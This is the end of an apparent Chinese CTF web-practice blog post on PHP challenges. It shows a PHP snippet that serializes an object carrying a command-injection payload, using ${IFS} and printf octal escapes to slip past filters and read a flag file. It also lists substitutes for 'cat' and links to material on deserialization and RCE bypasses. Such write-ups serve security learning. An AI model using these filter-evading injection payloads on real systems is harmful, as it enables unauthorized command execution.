<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$a</span>=<span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">ease</span>(<span class="hljs-string">&quot;ping&quot;</span>,<span class="hljs-keyword">array</span>(<span class="hljs-string">&#x27;more$&#123;IFS&#125;fl$(printf$&#123;IFS&#125;&quot;\141&quot;)g_1s_here$(printf$&#123;IFS&#125;&quot;\57&quot;)f\lag_831b69012c67b35f.p\hp&#x27;</span>));<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">base64_encode</span>(<span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>));<br></code></pre></td></tr></table></figure>
</li>
<li><p>cat的替换命令</p>
<table>
<thead>
<tr>
<th>tac</th>
<th>与cat相反，按行反向输出</th>
</tr>
</thead>
<tbody><tr>
<td>more</td>
<td>按页显示，用于文件内容较多且不能滚动屏幕时查看文件</td>
</tr>
<tr>
<td>less</td>
<td>与more类似</td>
</tr>
<tr>
<td>tail</td>
<td>查看文件末几行</td>
</tr>
<tr>
<td>head</td>
<td>查看文件首几行</td>
</tr>
</tbody></table>
</li>
</ul>
<h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><p>php反序列化：</p>
<p><a target="_blank" rel="noopener" href="https://zhuanlan.zhihu.com/p/601673949">https://zhuanlan.zhihu.com/p/601673949</a></p>
<p><a target="_blank" rel="noopener" href="https://blog.csdn.net/Hardworking666/article/details/122373938">https://blog.csdn.net/Hardworking666/article/details/122373938</a></p>
<p><a target="_blank" rel="noopener" href="https://www.cnblogs.com/hugboy/p/web_php_unserialize.html">https://www.cnblogs.com/hugboy/p/web_php_unserialize.html</a></p>
<p>rce绕过:</p>
<p><a target="_blank" rel="noopener" href="https://blog.csdn.net/m0_73185293/article/details/131557169">https://blog.csdn.net/m0_73185293/article/details/131557169</a></p>

                
              </div>
            
            <hr/>
            <div>
              <div class="post-metas my-3">
  
    <div class="post-meta mr-3 d-flex align-items-center">
      <i class="iconfont icon-category"></i>
      

<span class="category-chains">
  
  
    
      <span class="category-chain">
        
  <a href="/categories/%E6%B8%97%E9%80%8F/" class="category-chain-item">渗透</a>
  
  

      </span>
    
  
    
      <span class="category-chain">
        
  <a href="/categories/ctf-web/" class="category-chain-item">ctf-web</a>
  
  

      </span>
    
  
</span>

    </div>
  
  
</div>


              
  

  <div class="license-box my-3">
    <div class="license-title">
      <div>ctf-web练习(php)</div>
      <div>https://jiashi19.gitee.io/2023/09/18/ctf-web-php/</div>
    </div>
    <div class="license-meta">
      
        <div class="license-meta-item">
          <div>作者</div>
          <div>Jiashi</div>
        </div>
      
      
        <div class="license-meta-item license-meta-date">
          <div>发布于</div>
          <div>2023年9月18日</div>
        </div>
      
      
      
        <div class="license-meta-item">
          <div>许可协议</div>
          <div>
            
              
              
                <a class="print-no-link" target="_blank" href="https://creativecommons.org/licenses/by/4.0/">
                  <span class="hint--top hint--rounded" aria-label="BY - 署名">
                    <i class="iconfont icon-by"></i>
                  </span>
                </a>
              
            
          </div>
        </div>
      
    </div>
    <div class="license-icon iconfont"></div>
  </div>



              
                <div class="post-prevnext my-3">
                  <article class="post-prev col-6">
                    
                    
                      <a href="/2023/09/27/ctf-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/" title="文件上传">
                        <i class="iconfont icon-arrowleft"></i>
                        <span class="hidden-mobile">文件上传</span>
                        <span class="visible-mobile">上一篇</span>
                      </a>
                    
                  </article>
                  <article class="post-next col-6">
                    
                    
                      <a href="/2023/09/14/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E5%9F%BA%E7%A1%80/" title="机器学习">
                        <span class="hidden-mobile">机器学习</span>
                        <span class="visible-mobile">下一篇</span>
                        <i class="iconfont icon-arrowright"></i>
                      </a>
                    
                  </article>
                </div>
              
            </div>

            
          </article>
        </div>
      </div>
    </div>

    <div class="side-col d-none d-lg-block col-lg-2">
      
  <aside class="sidebar" style="margin-left: -1rem">
    <div id="toc">
  <p class="toc-header">
    <i class="iconfont icon-list"></i>
    <span>目录</span>
  </p>
  <div class="toc-body" id="toc-body"></div>
</div>



  </aside>


    </div>
  </div>
</div>





  



  



  



  



  







    

    
      <a id="scroll-top-button" aria-label="TOP" href="#" role="button">
        <i class="iconfont icon-arrowup" aria-hidden="true"></i>
      </a>
    

    
      <div class="modal fade" id="modalSearch" tabindex="-1" role="dialog" aria-labelledby="ModalLabel"
     aria-hidden="true">
  <div class="modal-dialog modal-dialog-scrollable modal-lg" role="document">
    <div class="modal-content">
      <div class="modal-header text-center">
        <h4 class="modal-title w-100 font-weight-bold">搜索</h4>
        <button type="button" id="local-search-close" class="close" data-dismiss="modal" aria-label="Close">
          <span aria-hidden="true">&times;</span>
        </button>
      </div>
      <div class="modal-body mx-3">
        <div class="md-form mb-5">
          <input type="text" id="local-search-input" class="form-control validate">
          <label data-error="x" data-success="v" for="local-search-input">关键词</label>
        </div>
        <div class="list-group" id="local-search-result"></div>
      </div>
    </div>
  </div>
</div>

    

    
  </main>

  <footer>
    <div class="footer-inner">
  
    <div class="footer-content">
       <a href="https://hexo.io" target="_blank" rel="nofollow noopener"><span>Hexo</span></a> <i class="iconfont icon-love"></i> <a href="https://github.com/fluid-dev/hexo-theme-fluid" target="_blank" rel="nofollow noopener"><span>Fluid</span></a> 
    </div>
  
  
    <div class="statistics">
  
  

  
    
      <span id="busuanzi_container_site_pv" style="display: none">
        总访问量 
        <span id="busuanzi_value_site_pv"></span>
         次
      </span>
    
    
      <span id="busuanzi_container_site_uv" style="display: none">
        总访客数 
        <span id="busuanzi_value_site_uv"></span>
         人
      </span>
    
    
  
</div>

  
  
  
</div>

  </footer>

  <!-- Scripts -->
  
  <script  src="https://lib.baomitu.com/nprogress/0.2.0/nprogress.min.js" ></script>
  <link  rel="stylesheet" href="https://lib.baomitu.com/nprogress/0.2.0/nprogress.min.css" />

  <script>
    NProgress.configure({"showSpinner":false,"trickleSpeed":100})
    NProgress.start()
    window.addEventListener('load', function() {
      NProgress.done();
    })
  </script>


<script  src="https://lib.baomitu.com/jquery/3.6.4/jquery.min.js" ></script>
<script  src="https://lib.baomitu.com/twitter-bootstrap/4.6.1/js/bootstrap.min.js" ></script>
<script  src="/js/events.js" ></script>
<script  src="/js/plugins.js" ></script>


  <script  src="https://lib.baomitu.com/typed.js/2.0.12/typed.min.js" ></script>
  <script>
    (function (window, document) {
      var typing = Fluid.plugins.typing;
      var subtitle = document.getElementById('subtitle');
      if (!subtitle || !typing) {
        return;
      }
      var text = subtitle.getAttribute('data-typed-text');
      
        typing(text);
      
    })(window, document);
  </script>




  
    <script  src="/js/img-lazyload.js" ></script>
  




  
<script>
  Fluid.utils.createScript('https://lib.baomitu.com/tocbot/4.20.1/tocbot.min.js', function() {
    var toc = jQuery('#toc');
    if (toc.length === 0 || !window.tocbot) { return; }
    var boardCtn = jQuery('#board-ctn');
    var boardTop = boardCtn.offset().top;

    window.tocbot.init(Object.assign({
      tocSelector     : '#toc-body',
      contentSelector : '.markdown-body',
      linkClass       : 'tocbot-link',
      activeLinkClass : 'tocbot-active-link',
      listClass       : 'tocbot-list',
      isCollapsedClass: 'tocbot-is-collapsed',
      collapsibleClass: 'tocbot-is-collapsible',
      scrollSmooth    : true,
      includeTitleTags: true,
      headingsOffset  : -boardTop,
    }, CONFIG.toc));
    if (toc.find('.toc-list-item').length > 0) {
      toc.css('visibility', 'visible');
    }

    Fluid.events.registerRefreshCallback(function() {
      if ('tocbot' in window) {
        tocbot.refresh();
        var toc = jQuery('#toc');
        if (toc.length === 0 || !tocbot) {
          return;
        }
        if (toc.find('.toc-list-item').length > 0) {
          toc.css('visibility', 'visible');
        }
      }
    });
  });
</script>


  <script src=https://lib.baomitu.com/clipboard.js/2.0.11/clipboard.min.js></script>

  <script>Fluid.plugins.codeWidget();</script>


  
<script>
  Fluid.utils.createScript('https://lib.baomitu.com/anchor-js/4.3.1/anchor.min.js', function() {
    window.anchors.options = {
      placement: CONFIG.anchorjs.placement,
      visible  : CONFIG.anchorjs.visible
    };
    if (CONFIG.anchorjs.icon) {
      window.anchors.options.icon = CONFIG.anchorjs.icon;
    }
    var el = (CONFIG.anchorjs.element || 'h1,h2,h3,h4,h5,h6').split(',');
    var res = [];
    for (var item of el) {
      res.push('.markdown-body > ' + item.trim());
    }
    if (CONFIG.anchorjs.placement === 'left') {
      window.anchors.options.class = 'anchorjs-link-left';
    }
    window.anchors.add(res.join(', '));

    Fluid.events.registerRefreshCallback(function() {
      if ('anchors' in window) {
        anchors.removeAll();
        var el = (CONFIG.anchorjs.element || 'h1,h2,h3,h4,h5,h6').split(',');
        var res = [];
        for (var item of el) {
          res.push('.markdown-body > ' + item.trim());
        }
        if (CONFIG.anchorjs.placement === 'left') {
          anchors.options.class = 'anchorjs-link-left';
        }
        anchors.add(res.join(', '));
      }
    });
  });
</script>


  
<script>
  Fluid.utils.createScript('https://lib.baomitu.com/fancybox/3.5.7/jquery.fancybox.min.js', function() {
    Fluid.plugins.fancyBox();
  });
</script>


  <script>Fluid.plugins.imageCaption();</script>

  <script  src="/js/local-search.js" ></script>

  <script defer src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js" ></script>





<!-- 主题的启动项，将它保持在最底部 -->
<!-- the boot of the theme, keep it at the bottom -->
<script  src="/js/boot.js" ></script>


  

  <noscript>
    <div class="noscript-warning">博客在允许 JavaScript 运行的环境下浏览效果更佳</div>
  </noscript>
</body>
</html>
